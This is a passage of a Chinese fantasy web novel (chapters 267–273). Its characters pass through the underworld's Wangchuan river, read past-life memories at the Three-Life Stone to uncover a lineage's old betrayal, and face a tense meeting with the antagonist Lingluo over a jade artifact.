只是一个呼吸间发生的事,白锦夜见状后也第一时间就要赶过去,却被突然出现在他面前的孟婆拦住,“你来回地府多次,但这是你的自由,不过这人已入忘川,你若强行把人拉上来,那就坏了规矩。” 白锦夜拧着眉眼前的人,眯了眯眼,才道,“是你动了手脚。” 不然裴玲珑想要在他眼前使坏,可不是件容易的事。 刚才他也是眼前恍惚了一下,随即就见裴玲珑冲了过去,想要去拦已经来不及了。 孟婆对此没有否认也没有承认,只是说,“总之,规矩不能坏。” 裴黎皱起眉,“神冥公”一脉开冥路送魂魄入地府。 不过他们送的,都不是正常死亡的人,而是横死之人。 横死的人,按照地府的规矩,是要在人间找了替身之后,才能换到一个去地府的机会,然后要在枉死城受刑几百年,才能再转世投胎。 所以在某种程度上,“神冥公”一脉确实是违反地府的一些规矩,若是没有他们,那这些魂魄都要到枉死城受刑,他们的存在像是给这些横死的魂魄开了后门。 但他们继承九天玄女的术法,在这件事上,地府也就算是睁一只眼闭一只眼了。 除此之外的事情,地府自然会谨遵规矩办事,甚至对“神冥公”一脉会比其他任何人都严苛。 这也是她担心凌幽到了地府之后,会不会跳进忘川。 其他人若是在忘川了呆上千年就可以离开,但是“神冥公”一脉说不定要呆上更久的时间,而且在里面遭遇的劫难恐怕也要更多。 孟婆显然也发现了裴黎的异常,她还有术法,能拉住裴子墨不往下掉。 但是也仅此而已。 除非她就永远站在这里,不然裴子墨早晚会掉下去。 白锦夜的脸色越来越差,他若是在这里跟孟婆起了冲突,之后引来地府的其他人,今天这件事就没办法完成了,甚至他之后再来地府都可能会有各种各样的阻碍。 他沉思了片刻才道,“只要我不在桥上把她拉上来,你是不是就不管?” 孟婆看着他,似乎也想到了什么,“你要是和她一起跳下去,我也不会救你。” 白锦夜冷笑一声,看向裴黎,“你看好裴玲珑,我们一会就回来。” “不行!”裴黎当即阻止,“这忘川之下有各种恶鬼凶兽,她现在没有术法,若是掉进去,恐怕难以脱身,就算是有你……”顿了顿,她才继续说,“我也从未听过有人能经过忘川之刑还记得自己的本意。而且你的身份若是跳下去,只会更加凶险。” “也只能试试了。”白锦夜说着又看向孟婆,“若是我们能上岸,也不会有人再为难我们?” “那你也要能上来再说。”孟婆对他这种不自量力的想法嗤之以鼻,也没有再拦他,甚至让开了身。 白锦夜走到桥边,对着裴子墨跳了过去。 裴子墨在桥下,根本不知道上面发生了什么。 她之前就听说过,跳下忘川的人,无论离奈何桥多远,当挚爱之人路过奈何桥的时候,他都可以看得清清楚楚。 只不过过桥的人看不见他,也听不见他的声音。 千年之中,他可能要很多次看着自己挚爱之人在桥上一遍遍走过。 所以即便她还没有落入忘川,就已经完全听不见桥上的声音。 但是看到白锦夜朝她跳过来的那一瞬,她呆愣了片刻,脑袋里甚至有一瞬的空白,反应过来的时候,白锦夜已经抱住了她,裴黎也放了手,他们两个一起落入了忘川之中。 忘川的水污浊不堪,又冰凉刺骨。 裴子墨被水激了一下,打了个冷颤,她转头看着白锦夜的侧脸,这一刻她感觉不到水的凉意,心底反倒像是涌上一股暖流,她甚至也不想问什么诸如为什么白锦夜这么傻要跳下来的话,对于白锦夜来说,这道题没有其他的选项。 她微微抿了抿唇,只是说,“我看裴黎的术法没有消失,若是我们要在这里呆上千年,她大概也能找到三生石,知道事情的原委之后,自然会去解决,也没什么需要我们来操心的了。” 白锦夜转头看了看她,“放心吧,能出去。” 裴子墨正要在说话,胳膊上突然传来剧痛,她用力地甩着胳膊,也没办法把咬住她胳膊的蛇甩掉。 白锦夜抬手抓住蛇头,用力捏住,迫使它张开嘴,才把它远远的甩开。 两个人的面前的水面上,浮着不少凶狠地盯着他们的凶兽,但是大概是碍于白锦夜的身份,暂时也就只有这么一条小蛇上前试探了下。 白锦夜抬头辨别了一下方向,拉着裴子墨往一侧游去。 两个人的身影很快就消失了。 孟婆收回目光,又打量了下裴黎,她看不出裴黎到底算什么,说她是魂魄,但是又不像是死人,身上反倒有仙气。 她只好把目光放在裴玲珑的身上。 裴黎一把抓住裴玲珑,看向孟婆,“这个人阳寿未到,还没死呢,就是来地府办点事,很快就回去。” 孟婆看着裴黎身上散发的仙气,沉默了会才道,“从哪来回哪去,不要过多停留。”说完便去忙自己的事了。 裴黎往忘川下面看了一眼,才抓住裴玲珑,往奈何桥的对岸走去,“本来办完这事,可以让你还阳,到时候自然有别人收拾你,可是既然你找死,放心,到时候肯定也会成全你。” 第268章 她根本不可能活着上岸! 过了奈何桥,裴黎就把裴玲珑扔在了地上,随后眯眼看着忘川的水面。 在这里看去,忘川里的河水川流不息,水面平静,什么都没有。 可是实际上的忘川,惊涛骇浪,到底有多凶险,恐怕只有进入忘川的人才知道了。 裴玲珑咬着牙,也盯着面前的水面,“就算我死了,我也报了仇了。” 裴黎冷笑一声,“本来我们办完事,就可以回去了,可是现在不知道要在这里呆多久,你猜你的身体会怎么样?会腐烂生蛆,到时候你就真的再也没办法回去了。” “若是正常死亡,到了这里也不会有人为难你,可你猜若是他们两个出了事,你的下场会怎么样?” 裴玲珑抿了抿唇,没再说话,可目光频闪,显然又在算计着什么。 在这里,没有黑天白夜之分,更没有明确的时间,裴黎也根本不知道过了多长时间。 但是她也不敢在地府乱走,等白锦夜他们上来,自然会到奈何桥附近找她,若是她乱走,白锦夜就算能找到她,也不知道要过多久了。 况且人世间对地府的那些已知信息,也不知道多少是真的,多少是假的。 有些是那些在人世间的鬼差为了防止人做恶事,说出来吓唬人的,但是这些传着传着,可能会变得更加恐怖,甚至可能跟最开始都不一样了。 有些确实是像白锦夜这样的人,来过地府之后,回去讲述的。 但是也是同样的,事情只要说出来,传着传着就会变了味道。 不是亲身经历,谁也不能确定事实到底是怎么样的。 等着也是无聊,裴黎就在旁边坐了下来,她禁锢了裴玲珑,也不用担心她再做什么。 在人间的时候,裴黎其实已经没有办法修炼精进术法了,但是在这里,她隐约地感觉到了什么,这里像是有和人间不一样的气息。 她闭上眼睛,细细地感受着。 * 忘川里的恶鬼和凶兽也看出来裴子墨是更好欺负的那个,所以几乎都是绕过了白锦夜朝裴子墨攻击。 即便白锦夜帮她挡掉一部分,但是这些凶兽实在太多。 “别管它们。”裴子墨拧着眉头忍痛道,“只要我们在这里它们就会一直攻击我们,不过也没听说哪些人会死在忘川,顶多受不了这折磨选择去喝孟婆汤而已,所以也就是疼一些,不会被它们咬死。” “你要是能找到路,你只管带着我游,越早离开这里才行。” 白锦夜点点头,把手里的凌迟刀递给裴子墨,多少也能管点用。 裴子墨没有接,“凌迟刀在这里发挥不了什么作用。”她说着轻轻叹了口气,若是袁澈的七杀斩,说不定能管点用,想到这个,她摸了下锁魂玉笛,只可惜她现在没有术法,也吹不了锁魂玉笛。 但她还是把笛子拿了出来,这里有锁魂石精,说不定它能帮上忙。 只是裴黎还没有告诉她要怎么才能唤出锁魂石精,她拧着眉看着笛子,一只凶兽扑上来,连着她的手和笛子都一起咬在了嘴里。 裴子墨疼得几欲昏厥,但是也还是没有松开握着笛子的手,即便这笛子在裴黎的年代不是稀罕物,可如今这世上恐怕就只有这一个了,再加上还有锁魂石精,若是丢在了这里,那可真是亏大了。 不过也就在这时,她耳边突然响起一声怒吼,凶兽一下子被震飞,锁魂石精出现在她旁边。 锁魂石精算是精怪,不受忘川影响。 它出来之后,茫然地看着周围,并没有看到裴黎,目光就只落在裴子墨的手上。 裴子墨看着它,“你保护我们,等我们出去了,让你见你主人。” 锁魂石精没有说话,但是显然也听懂了裴子墨的话,于是抬手扯开周围几个凶兽。 这一下白锦夜的压力也减轻不少,拉着裴子墨迅速的往岸边游。 可是水里的恶鬼凶兽却好像被激怒了,本来咬住裴子墨的时候,她只是感觉疼,甩开之后,其实也不见什么伤口,也不会再疼。 但锁魂石精出现之后,它们就像是疯了一样,虽然裴子墨被咬的频率降低了,但是每一口都像是要直接把她咬死一样。 裴子墨甚至眼睁睁地看着自己的身上被咬出了伤口,血也从伤口流出来。 她有些疑惑,有那么一瞬间都在觉得这是幻觉。 只是白锦夜在找路,锁魂石精已经很努力的保护她,但毕竟双拳难敌四手,这些凶兽实在太多,它也没办法一个都不疏漏。 裴子墨咬了咬牙,没有出声让白锦夜分心。 只希望他尽快找到路,他们才好离开这里。 “前面了。”不知道过了多久,白锦夜才开了口,说完这句话他终于松了一口气,他身上被咬伤不少,他也能感觉到裴子墨比他的伤更重,可是他知道就算他赶走一两只凶兽根本不解决问题,也只能拼着多被咬几口尽快找到岸边。 听到白锦夜的话,裴子墨虽然什么都看不见,眼前还都是水面和凶兽,但是她也知道,应该是快到岸边了,只是她感觉自己像是有些失血过多,连看白锦夜都觉得他的脸开始模糊重影,她拧了拧眉,低声道,“血莲……” “嗯?”白锦夜转头看她。 “我身上还有血莲,只要血莲还在……”说到这,剩下的话还没说出来,裴子墨眼前一黑就晕了过去。 白锦夜皱起眉,这忘川算是受刑地,一直在忘川里面,只是受刑,不会有性命之忧,但若是强行离开,对他来说没什么事,对裴子墨来说,恐怕不是什么好事。 说不定她根本不可能活着上岸! 他也等不到上岸了,直接用凌迟刀割破了自己的手,按在了裴子墨的肩头。 他拧了拧眉,她的肩膀上什么都没有,并没有血莲的图案,可是却能吸收他的血。 只要血莲还能吸血,他也就微微的松了一口气,按照裴子墨说的,只要血莲在,就能吊着她这口气,她就不会死。 这功夫,他们的速度慢了下来,但是那些凶兽像是感受到了什么,突然不再攻击,而是围在一圈,有些惊恐地看着他们。 白锦夜也管不了这么多,等血莲停止吸血之后,就立刻带着裴子墨往岸边游。 第269章 三生石 上岸的时候,裴子墨依旧在昏迷,虽然气息微弱,但是就像是她说的,血莲一直吊着她的气。 白锦夜把她背起来往奈何桥的方向走,他知道现在只要找到裴黎,裴黎对她们圣女一脉的事情更加了解,也应该有办法治疗裴子墨。 如果裴黎也没有办法,那他们就尽快离开这里。 他带着裴子墨到了奈何桥边的时候,便见到裴黎盘膝坐在那,身边的空气微微有些扭曲。 而裴玲珑坐在一边,身边有几只地府随处可见游荡的恶鬼,但是那几只恶鬼却并没有伤害裴玲珑,反倒是……在为衣衫半解的裴玲珑争风吃醋。 他微微眯了眯眼,走过去踹翻了几个恶鬼。 几个恶鬼对他龇牙咧嘴了半响,最后还是离开了。 裴玲珑有些惊恐又有些委屈地看着白锦夜,“我……我不是故意的,我真的不是故意的。” 白锦夜没有理会她,现在留着她还有用,等去过三生石之后,他绝对不会放过她。 他小心翼翼地把裴子墨放在裴黎的身边,正要说话,裴黎就睁开了眼睛,她扫了眼裴子墨,才看向白锦夜,“她没有性命之忧,但是在这里很难恢复。” 说完她才抬眼看向裴玲珑,刚刚她做的小动作,她都知道。 一开始那些恶鬼围上来的时候,她本想着现在裴玲珑还不能死,不过被恶鬼咬几口,也算是先给她点教训。 裴玲珑一开始也确实是害怕的惊叫,但是很快她就试图勾引这些恶鬼,甚至想要让这些恶鬼帮她冲破身上的禁锢。 这些恶鬼当然不可能解得开裴黎的阵法,但是她见裴玲珑玩得兴起,也就懒得管她。 顿了顿,裴黎才道,“你若是担心她,那我们现在就离开这里,等下次找机会再来,反正三生石就在那,也跑不掉。” 白锦夜擦了擦裴子墨脸上的血污,“若是留在这,她的伤会恶化么?” “那倒也不会。”裴黎摇了摇头,“她身上有血莲护体,只是在这里恢复起来会很慢,但不至于恶化。” 白锦夜略微思索了会,“那就办完事再回去,有些人早死早利索。”他说着眯眼瞪了一眼裴玲珑,重新背起裴子墨,“跟我走吧。” 三生石在一片广袤的平地之上,这里更像是一片石林,有无数的石头矗立着,很多魂魄站在三生石前,有的悲戚,有的欢喜。 几个人找了一块石头,裴黎抓着裴玲珑的胳膊,把她的手按在三生石上。 裴玲珑试图挣扎,她大概知道,他们带她来就是为了这个,如果他们的目的达到了,她确实就没有存在的价值了。 可是她的挣扎在裴黎的眼里无异于蚍蜉撼树,裴黎甚至一脚踹断了她一条腿,然后压着她的手按在了石头上。 裴玲珑痛得大叫,只不过裴黎和白锦夜的目光都落在三生石上,根本没人理会她。 三生石上的画面闪过,好在从萧玲珑到裴玲珑,中间也只不过就隔了一世。 从萧玲珑的记忆中,曾经的事情慢慢还原。 “十一公”中的每一脉,都有自己独特的能力。 “神目公”一脉,对外而言,他们可以分辨出其他人是不是属于“十一公”的血脉,并且能分辨他们是属于哪一脉,同时女子也能制造幻象。 这两个能力,看起来没有什么太大的杀伤力,更多的,倒像是一个辅助的作用。 尤其是那些年“十一公”都在十二颠上,互相之间走动也频繁,那么分辨对方是不是“十一公”血脉来说,这个能力就完全可有可无,丝毫用处都没有。 然而除此之外,“神目公”一脉,还有一个极大的秘密,就是他们能预见未来。 只不过关于这一点,他们却从来都没有对外提起过。 因为也并不是所有人都能预见未来,和他们一脉只有女子才能制造幻象一样,这预见未来的能力,也是随机觉醒。 并且在预见其他人的未来上,是很准确的,可是却很难看清关于自己的未来的事情。 他们预见未来这个能力,又分为两种,一种像是未来的事情主动要他们预测到,他们可能会突然见到未来的某个片段,从而得知未来要发生的事情。 还有另外一种,就是他们靠消耗寿命的方式,去预测自己想要知道的某一些未来。 所以他们有这个能力的人,几乎都会在自己将死之前,去预测未来。 在萧玲珑之前,往上数五代“神目公”预测到的未来,就是“十一公”血脉凋零。 但是他那时也是将死,只能预测到这些,不过加上再往后的四任“神目公”的预测,关于这未来也有了些眉目。 “十一公”这些年,这么多年,最大的目的,其实是要唤醒沉睡的九天玄女的。 可是传了这么多代,过了这么多年,唤醒九天玄女这件事毫无苗头,甚至于时间越久,“十一公”流传下来的术法就越微弱。 眼前的“十一公”和初代“十一公”已经完全没有办法相提并论。 于是便有人认为,是不是“十一公”的血脉越来越多,人数也越来越多,导致分散了九天玄女术法的力量,如果“十一公”的人都不复存在,或者简单的说,将他们重新合而为一,才是真正唤醒九天玄女的方法。 有了这样的猜测,就要实行下来。 那人的术法强横,短短几年间,“十一公”全都陨落,就连他们的后人,还能存活于世的都寥寥无几。 几任神目公都知道,他们是没有办法和这个人抗衡的,唯一的办法,就是把十一公的血脉全都分散出去,能保下来多少人,就保下来多少人,起码不是呆在这十二颠上,等着被对方一网打尽。 但即便是这样,他们也还是觉得不靠谱,于是便以“神目公”一脉可以分辨对方的血脉为由,先找到了对方,只要他们有存在的价值,对方就会留着他们。 他们也就可以趁机寻找解救所有人的方式。 第270章 你们又是传承了什么人的血脉? “神目公”一脉这样的初衷是好的,但他们一开始找到对方的时候,对方根本没有答应他们,甚至于根本就没有搭理他们。 确切的说,对方当时根本没有这样的意图,而是在和“神目公”一脉交谈之后,才萌生了把“十一公”全都铲除掉,让“十一公”的血脉合而为一,以此唤醒九天玄女的想法。 这件事反倒像是“神目公”一脉弄巧成拙了。 那一任的神目公,也就是萧玲珑的前一任发现之后,悔不当初,觉得是自己导致了将来要发生的事情,是自己害了这些人。 可是事情已经到此,根本没办法挽回了。 人到了这个时候,就会开始变得自私。 她知道,如果此刻她把这些事告诉其他十脉,就算现在大家能一致对敌,即便侥幸赢了,将来十家也要清算“神目公”一脉,甚至于他们能够预测未来这件事也没办法再隐瞒了。 而且从他们预测的未来来看,他们就算联合起来,也不可能是对方的对手。 所以思虑之下,她决定只保“神目公”一脉。 这件事她没有和其他十家提起,只是吩咐了萧玲珑,一定要用自己这一族特有的能力,让对方不要对“神目公”一脉赶尽杀绝。 而对方显然也看中了萧玲珑能够制造幻象的能力,毕竟只要有幻象,解决其他人来说,就不需要那么麻烦了。 于是萧玲珑在对方的授意下,在“十一公”之间产生冲突的时候,就不经意的提到离开十二颠,各自找个地方生活,以便于对方各个击破。 免得若是有人出了事,其他几家联合起来,这样下手多少也要费一番力气了。 “十一公”中的人各自离开之后,基本上都是先中了萧玲珑的幻象,之后被对方击杀,拘了魂魄。 当时裴黎虽然没有渡过仙劫,但是魂魄上已经充满了仙气,假日时日,若是摸到其他的门槛,还是有可能成仙的。 但当年仙界派下来的,只有九天玄女一人,也就是说如果仙界现在有空缺,那么也只有一个,假设裴黎成仙,补上了这个空缺,那就算是唤醒九天玄女,她也不可能再归于仙界了。 所以对方不但要唤醒九天玄女,还要镇压裴黎,甚至是杀了裴黎,防止她成仙。 但此时,能杀了裴黎的,大概也就只有神仙了。 那个人也是从古籍中知道了这个九星灭仙阵,恰好只要有九个“十一公”的魂魄,就能完成这件事。 然而在此之前,“神冥公”凌幽就不知去向,凌珞当时的术法,跟其他“十一公”差上一截,是没办法平衡“九星”的实力的,况且“神冥公”一脉本就人少,又承担着人间鬼差的能力,总要留下那么一两个人来维持秩序,因此“神冥公”一脉就不在对方的考虑之中了。 若是再去掉萧玲珑,那剩下的正好就是九个。 但是偏偏这个时候出了意外,“十一公”之中向来神秘的“神玄公”一脉,在离开十二颠之后,就带着全族人彻底失踪了! 对方带着萧玲珑找了“神玄公”很多年,直到逐渐失去耐性,也丝毫没有任何线索。 萧玲珑这个时候,也知道大事不妙了。 对方的意思,显然是要留着“神冥公”一脉,如果“神玄公”找不到,那自然要有人顶上这个空缺,而她,就是最好的选择。 于是萧玲珑就开始给自己找退路。 她用自己预见未来的能力,看到了对方封印她的阵法是什么,她虽然不精通的阵法,可是为了活命,她拼命的寻找破解之法。 也是在这个时候,她硬生生的分裂出自己的一丝魂魄,甚至抹掉了魂魄上自己的气息,只留着这魂魄以备不时之需。 在找到破解之法之后,又把这破解之法烙印在这丝魂魄之中。 将来若是她真的被封印,这丝魂魄若是想要回到魂魄本源之中,就会找到她,也许能解开阵法。 她也没有更好的办法了,对她来说,这其实就是一场赌博。 果然,不久之后,对方彻底的失去了耐心,杀了她,拘了魂魄,完成了阵法。 然而最后放出萧玲珑魂魄的,并不是她在外面的那丝魂魄。 而是当年柳甫送她的定情信物。 柳甫这“神术公”一脉,钻研术法,有一块玉,代代相传,这块玉就像是袁澈的七杀斩一样,可破所有术法和阵法。 柳甫知道萧玲珑不擅长术法,所以就把这玉当定情信物送给了她,她死时,血流进了玉石之中,也因此得到了庇护。 虽然萧玲珑的魂魄被镇压,但是没多久阵法就被破除。 而且破除的很彻底,甚至斩断了她和整个大阵之间的联系。 她也就因此入了轮回。 只是她因为帮着对方害了不少人,所以在地府也受尽了折磨,直到最近这些年,才得了转世的机会。 事情虽然清晰,可对方在和萧玲珑沟通的时候,一直穿着一个宽大的黑袍子,袍子上又有帽子,整个人都一直隐藏的袍子之中,从未露过脸。 声音又刻意压得沙哑,裴黎想了很久,也想不起来自己是不是听过类似的声音。 她拧着眉,再次查看着对方和“神目公”一族有关的所有画面。 翻到“神目公”一族第一次找上对方的时候的画面,她微微皱起眉头,这景色,看着是有些熟悉的。 她眯着眼,想了很久,才道,“这好像是……圣女一脉的所在地。只不过这一片在后山,那里是禁地,从不让我们过去,我只是年轻的时候,偷偷闯过一次,但是印象不是很深了。” 白锦夜也皱眉看着那人,“这人从身形上看,确实像是女子,有没有可能是你们圣女一脉的人?”他说着顿了顿,“你们和‘十一公’在十二颠平起平坐,想必血脉也极其特殊,‘十一公’是传承了九天玄女的术法,那你们呢?传承了什么人的血脉,传承了什么人的术法?” 第271章 凌珞到了 裴黎转头看了看白锦夜,沉默了会,并没有回答他的问题。 她的目光继续落在三生石上,像是还在找什么东西。 白锦夜微微皱起眉头,他不希望这件事和圣女一脉有什么牵连,可若是……他抱着裴子墨的手紧了紧,没再说话。 片刻后,裴黎才看向裴玲珑,“我现在问你的话,你若是老老实实回答,我就给你个痛快,不然我有无数的办法,让你求生不得求死不能。” 他们看到了三生石上的事,裴玲珑自然也看到了。 她垂着眼,谋划了会,才开口道,“好,你问吧。” “你是什么时候开始想着自己要改名叫‘玲珑’的?”裴黎说着也在三生石上查看着,但是三生石除了萧玲珑一开始分裂出那丝魂魄的时候,之后就再也看不见那丝魂魄了。 裴玲珑抿了抿唇,“就是在我六岁的时候,有一天我做了一个梦,梦到一个人跟我说,我将来要做人上人,就要改名字。” “做了个梦……”裴黎低声重复了一遍,“再后来呢?” “后来……”裴玲珑小心翼翼地看了一眼白锦夜,“后来和月如找上我,她说看我的姻缘,和肃亲王有些纠缠,这姻缘虽然不成,可也必须走这么一遭,我才能找到我真正的姻缘。她让我帮她办事,她说事成之后,就让我进宫。” “而且她还说我不必担心,她有办法能控制肃亲王。她给了我一个香囊,说别人闻到这香囊没事,但是肃亲王只要闻到就会对我千依百顺。我那时试过几次,都还挺管用的。再加上,她还告诉我很多其他的方法,她说肃亲王掌控兵权,如果我能掌控肃亲王,那我就是皇上眼里最有用的人,就是在为我以后进宫铺路。” “之后,我皇后表姐也找上我,想让我接近肃亲王。我那皇后表姐,其实半个眼珠子都看不上我,我就想着我将来一定要进宫,每天在她面前,跟皇上在一起恩爱给她看,总能找机会报复回去。” “但一次偶然的机会,我进了肃亲王府之后,就感觉到那里有个声音在召唤我。这声音就在王府里面,可我却不知道在哪,也不知道是谁,只不过,只要我越接近九思院,这声音就越大。” “那时候我很害怕,我觉得这是幻听,我感觉我要是再在王府呆下去,一定会成为像张太妃那样的疯子。” 裴黎微微皱起眉头,当年萧玲珑的心中大概已经有了悔意,尤其是知道救出自己魂魄的,其实是柳甫送她的定情信物之后,心中多少应该还是有些愧疚的。 柳甫的魂魄就被镇压在九思院的夜魔石之中,她越靠近那里,到不见得是柳甫在召唤她,而是她尚存的一丝丝的记忆,甚至可能就是那一丝魂魄中的本能。 大概是希望唤醒她,这样她才能想办法救出柳甫的魂魄。 只可惜…… “我……”裴玲珑说着又看了一眼白锦夜,“我只想做皇后,我不想成为疯子,我也不想被疯子所杀。”顿了顿,她又想起什么,赶紧道,“你们放了我吧,我对你们根本没有威胁,反倒是陆绝……是他让白玉衡找到我,把我救出来的,他跟白玉衡说,我是很多事情的关键,只要白玉衡把我留在身边,将来一定能帮他成事。” “白玉衡很听陆绝的话的。”她犹豫了下才又道,“而且我到了衡王府之后,平时无事的时候,陆绝就让我去衡王府的佛堂里烧香,一开始我很抗拒那个地方,但是时间久了,那里……那里好像有什么奇怪的地方。” “反正陆绝这个人一定有问题,你们放了我,去找他吧。” 白锦夜微微眯起眼,他想起当时陆绝进宫的时候,曾经在宫里加固过一些阵法,所以陆绝去衡王府,大概也是查看了衡王府的那处阵法,自然是知道萧玲珑的魂魄不在了。 他把裴玲珑带回衡王府,说不定就是在找办法把裴玲珑的魂魄再次封印进去。 只不过裴玲珑早就忘掉了前世,转世之后,所有的术法也都消失了,陆绝可能也没办法解决这个问题,只能先把裴玲珑留在衡王府。 裴黎拧着眉,继续查看着三生石,她感觉有些东西就在眼前,只差那么一点点,就可以知道真相了。 但突然间,眼前的三生石突然碎裂,画面全都消失,只剩下一地碎石。 裴黎转头四处看了下,本能地感觉到一丝危险。 “我们停留太久了,该走了。”白锦夜的脸色也不太好。 裴黎当即收起裴玲珑的魂魄,转身进了锁魂玉笛。 白锦夜也迅速的离开,片刻之后,就已经回到了府里。 周围灰蒙蒙的空间退去,他把裴子墨放到了床上。 果然,回到这里之后,裴子墨恢复的速度就变得快了些,身上的伤口几乎是在以肉眼可见的速度愈合。 他这才松了一口气,但很快就被外面的嘈杂声吸引。 他拧了下眉,又不放心把裴子墨一个人放下。 好在裴黎也从锁魂玉笛里出来,她拧眉看向外面,轻轻地叹了一口气,随即手指轻弹,一抹白色的气体飘进裴子墨的眉心。 裴子墨轻咳了一声,悠悠转醒。 她看着眼前的情况,知道他们已经离开了地府,便赶紧开口问道,“已经找得到三生石了么?都看见了么?知道到底是怎么回事了么?” 白锦夜点了点头,还没等说话,就听到外面传来微微提高的声音—— “子墨,我听到你说话了,怎么?我都到了,你也不打算出来迎一下么?诶诶诶,把剑离我远一点,别说你们根本不可能伤到我,万一我不小心伤到了你们,那场面就不好看了。子墨,还不出来?” 裴子墨一下子坐起来,这声音她当然熟悉,她微微握了握拳,看向白锦夜,“是凌珞。”说完她也想起什么,看向裴黎,如果之前得到的信息都是准确的,那凌珞就算是裴黎和凌幽的儿子。 裴黎亲手杀了他。 凌幽又用尽一切办法让他重新活了过来。 如今裴黎也知道当年都是一场误会,那不知道她心里对凌珞会不会有所亏欠。 他们这里,唯一能和凌珞对抗的,就是裴黎了。 可如果裴黎要帮着凌珞呢? 还没等裴子墨再说什么,凌珞就又开了口,“子墨,听说你们去了地府,那边可要个说法呢,我是为了这事才大老远的跑一趟的。” 言下之意,就是暂时可以不提华精玉的事。 裴子墨抿了抿唇,出声道,“来了。” 第272章 那就让他等着吧 裴子墨从床上下来,先是看向裴黎。 裴黎微微摇了摇头,没有动,显然是不打算出去了。 她才看向白锦夜,可还没等说话,白锦夜就握住她的手,“我陪你出去。” 裴子墨犹豫了下,点了点头,不过还是把自己的手抽了回来,跟他拉开了一点距离。 白锦夜也明白,凌珞让裴子墨到他身边,是为了办事的,如果他已经表现得对她非常信任,可她还没有完成凌珞让她办的事,那显然凌珞就要怀疑了。 两个人一前一后的出了门,司空和左辞带人在门外围成了一个半圆,不准任何人靠近房间门口。 在他们的前面,一边是只有一个人的凌珞,另外一边,是带着一队侍卫的白玉衡。 裴子墨微微眯了下眼,她把裴玲珑带走的事情,白玉衡的人回去自然是对他说了,这会白玉衡当然是上门要人。 凌珞用扇骨轻轻地敲着掌心,“今天这里还真是热闹,不过我的事不急,这位好像是急匆匆来找人的,不如你们先聊?” 这些人其实已经在这里僵持很长时间了,凌珞之所以没动,是因为他感受到这房间里有一股气息,那气息强大,他大概不可能是对手,而且陌生里又像是带着一丝熟悉,他一时拿不准,所以才在这里等着。 至于白玉衡,来找裴玲珑是其一,最重要的是,白锦夜在宫中不告而别,白砺寒那边气到吐血,捶床大吼——“他以为皇宫是什么地方,想来就来,想走就走?还有没有把朕这个皇上放在眼里?” 其实白玉衡心里清楚,现在谁还把白砺寒这个皇上看在眼里呢? 只不过他想名正言顺的登基,他想要有皇上的传位诏书,他不想落人口实,所以这会还在顺着白砺寒的意思,不然他可也真不愿意伺候他这个脑子不大好用的皇兄了。 他过来,也不过就是走一遭,最好白锦夜把他赶出去,打他一顿,只要不伤得太重都没问题,这样他就能去找白砺寒告状,添油加醋再说一番,白砺寒只会更气。 他真心希望他这个一事无成的皇兄,能在死前帮他除掉白锦夜,那他这个皇兄也算是死得其所了。 凌珞的话落,白玉衡又打量了他一眼,这个人看着很是陌生,也难分是敌是友。 不过他刚才提到了——地府。 若是以前,白玉衡听到这两个字可能不会想太多,但是现在……他微微眯了眯眼,目光又落在裴子墨的身上。 他身边的人告诉他,是一个女子带走了裴玲珑,而且那女子看着不一般,只是挥了挥手,就把他们所有人都打飞了,这显然不是常人能做到的。 所以去地府,应该就是他想的那样了。 微微犹豫了会,他才开口,“皇弟,你招呼都没打一声就从皇宫离开,这事恐怕得给皇上一个交代,还有……我的人说,你身边这位姑娘,带走了我府上的人,不知道玲珑是如何得罪这位姑娘了,本王在这里先赔个礼,还望不要和玲珑一般见识。” 裴子墨看着他,“裴玲珑自己有腿,说不定只是去外面找小倌儿寻欢去了,这会估摸着已经回府了。” “哦?”白玉衡微皱了下眉头,立刻打发了身边的一个人去查看,随即才看向白锦夜,“皇弟,皇兄那边,等着你回话呢。” “那就让他等着吧,我不忙了,就进宫去跟他解释。”白锦夜掸了掸袖子,随口道。 白玉衡轻笑了一声,朝着白锦夜点点,“行,那我这就先进宫去复命。” “去吧。”白锦夜倒也不在意,见他转身要走了,才好心提醒,“听说西河城大捷,岐风王拿了西夜国的降书进京,这会……可能已经到城门了。” 白玉衡猛地停下脚步,转头看了白锦夜一眼,随即快步向外面走去。 等白玉衡带着人走了,白锦夜才看向司空和左辞,“你们退下吧。” 如果凌珞要动手,多少人在这都会是炮灰。 凌珞看着院子里的人都离开,才往前走了几步,打量了白锦夜几眼,“之前就听说你往返地府,该去的不该去的地方逛了个遍,不过听说是找人,也不算是影响什么。不过这一次……好像闹得有点大吧?” 白锦夜微微皱起眉头,“他们有问题,可以直接来找我。” 凌珞“哈哈”一笑,“你见过哪家小孩子惹了事,对方来问责小孩子的,不是要找大人说理么?” 白锦夜脸色一黑,从“神冥公”的血脉上来说,凌珞确实算是他长辈了,即便他根本不愿意承认这一点。 “我们去办点事。”裴子墨先开了口,“事情办完了,之后不会再去了。” 凌珞看了看裴子墨,顿了会才道,“自从第一任‘神冥公’从地府拿了华精玉回来,地府的人对‘神冥公’一脉就防备得不行,只要有人去地府,他们就恨不得派上无数的人来看着,就怕再从地府拿走什么宝贝。” 裴子墨微微抿了下,他说这话,就是提起华精玉,含蓄的问她进展。 隔了会,她轻咳一声,迈步往旁边走了几步。 凌珞也就跟了过来,抬手一挥,用一道透明的墙隔住白锦夜,也隔绝了声音。 裴子墨转头看了白锦夜一眼,示意他放心之后,才对着凌珞开了口,“你骗了我,你上次说,那人带着华精玉去琼华山的时候,你还没出生,但是那人在琼华山留下的阵法,就是为了防你的,这世上,只有你去不了琼华山,就连袁澈都可以畅行无阻。” 凌珞被拆穿,脸色倒也没什么变化,只是笑了笑,“子墨,有些事没必要知道得那么清楚。” “你能在这件事上骗我,就能在其他的事上骗我,华精玉说不定还有别的用处。”裴子墨看着凌珞,“那个人做了这么多,就是为了不让你得到华精玉,我觉得的,他一定有自己的道理。” 凌珞嘴角的笑容慢慢收起,挥开了手里的扇子,又把扇子一折一折的收起,半响之后,才阴鸷地开了口,“子墨,是谁给你的胆子,让你开始忤逆我的意思,嗯?”他说着抬眼朝房间里看去,“房间里没出来的人,是谁?” 第273章 你不爱任何人,你只爱你自己 裴子墨知道凌珞能感受到房间里裴黎的气息,只不过他没有见过她,应该也认不出来,她垂下眼,半响才道,“我现在已经知道华精玉在哪了,只要你不再骗我,我就告诉你。” 凌珞冷笑一声,“你这是在跟我讲条件?” “是。”裴子墨点点头。 “你还真是翅膀硬了。”凌珞说着顿了顿,他像是思索了会,又往房间的方向看了一眼,才道,“你想知道,那我就告诉你。” 